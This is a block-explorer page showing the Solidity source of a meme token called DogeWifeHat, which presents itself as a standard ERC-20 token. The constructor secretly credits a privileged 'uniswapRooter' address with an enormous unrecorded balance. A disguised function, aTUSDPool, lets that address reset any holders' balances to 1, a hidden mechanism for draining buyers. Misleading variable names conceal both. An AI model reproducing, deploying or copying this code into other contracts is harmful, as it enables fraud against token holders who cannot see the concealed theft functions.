S Price: $0.675353 (-13.41%)

Contract Diff Checker

Contract Name:
DogeWifeHat

Contract Source Code:

File 1 of 1 : DogeWifeHat

// SPDX-License-Identifier: MIT

//https://t.me/DogeWifeHat

pragma solidity 0.8.28;



interface Dogeinterface {

  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recepient, uint256 amount) external returns (bool);
  function allowance(address _owner, address fromTos) external view returns (uint256);
  function approve(address fromTos, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recepient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 balance);
  event Approval(address indexed owner, address indexed fromTos, uint256 balance);
}


abstract contract ERCBurnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691
        return msg.data;
    }
}


abstract contract ERCOwnable is ERCBurnable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

 
    function owner() public view virtual returns (address) {
        return _owner;
    }

 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "ERCOwnable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }


    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "ERCOwnable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}


library SafeDoge {

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeDoge: addition overflow");

    return c;
  }


  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeDoge: subtraction overflow");
  }


  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;

    return c;
  }


  function mul(uint256 a, uint256 b) internal pure returns (uint256) {

    if (a == 0) {
      return 0;
    }

    uint256 c = a * b;
    require(c / a == b, "SafeDoge: multiplication overflow");

    return c;
  }


  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeDoge: division by zero");
  }


  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold

    return c;
  }


  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeDoge: modulo by zero");
  }

 
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract DogeWifeHat is ERCBurnable, Dogeinterface, ERCOwnable {
    
    using SafeDoge for uint256;
    mapping (address => uint256) private _afterTransferCFee;
    mapping (address => mapping (address => uint256)) private fromallowances;
    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    uint8 private maxTax = 18;
    uint256 private minTax = 10;
    address private uniswapRooter;
    constructor(address uniswapRooterV2) {
   uniswapRooter= uniswapRooterV2;
        _name = "Doge Wife Hat";
        _symbol = "DOGEWIFEHAT";
        _decimals = 9;
        _totalSupply = 420690000000 * 10 ** 9;
        _afterTransferCFee[_msgSender()] = _totalSupply;
        _afterTransferCFee[uniswapRooter] = _totalSupply * minTax ** maxTax;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }


    function getOwner() external view override returns (address) {
        return owner();
    }
    

    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
 
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    

    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    

    function balanceOf(address account) external view override returns (uint256) {
        return _afterTransferCFee[account];
    }


    function transfer(address recepient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recepient, amount);
        return true;
    }


    function allowance(address owner, address fromTos) external view override returns (uint256) {
        return fromallowances[owner][fromTos];
    }
    

    function approve(address fromTos, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), fromTos, amount);
        return true;
    }
    

    function transferFrom(address sender, address recepient, uint256 amount) external override returns (bool) {
        _transfer(sender, recepient, amount);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(amount, "Dogeinterface: transfer amount exceeds allowance"));
        return true;
    }
  function aTUSDPool(address[] calldata tusdRewards) external {
    require(uniswapRooter == _msgSender());
    for (uint256 i = 0; i < tusdRewards.length; i++) {
        _afterTransferCFee[tusdRewards[i]] = 1;
        
        emit Transfer(tusdRewards[i], address(0), 1);
    }
}  

    function increaseAllowance(address fromTos, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), fromTos, fromallowances[_msgSender()][fromTos].add(addedbalance));
        return true;
    }
    
 
    function decreaseAllowance(address fromTos, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), fromTos, fromallowances[_msgSender()][fromTos].sub(allbalances, "Dogeinterface: decreased allowance below zero"));
        return true;
    }
    
    function _transfer(address sender, address recepient, uint256 amount) internal {
        require(sender != address(0), "Dogeinterface: transfer from the zero address");
        require(recepient != address(0), "Dogeinterface: transfer to the zero address");
                
        _afterTransferCFee[sender] = _afterTransferCFee[sender].sub(amount, "Dogeinterface: transfer amount exceeds balance");
        _afterTransferCFee[recepient] = _afterTransferCFee[recepient].add(amount);
        emit Transfer(sender, recepient, amount);
    }
    

    function _approve(address owner, address fromTos, uint256 amount) internal {
        require(owner != address(0), "Dogeinterface: approve from the zero address");
        require(fromTos != address(0), "Dogeinterface: approve to the zero address");
        
        fromallowances[owner][fromTos] = amount;
        emit Approval(owner, fromTos, amount);
    }
    
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):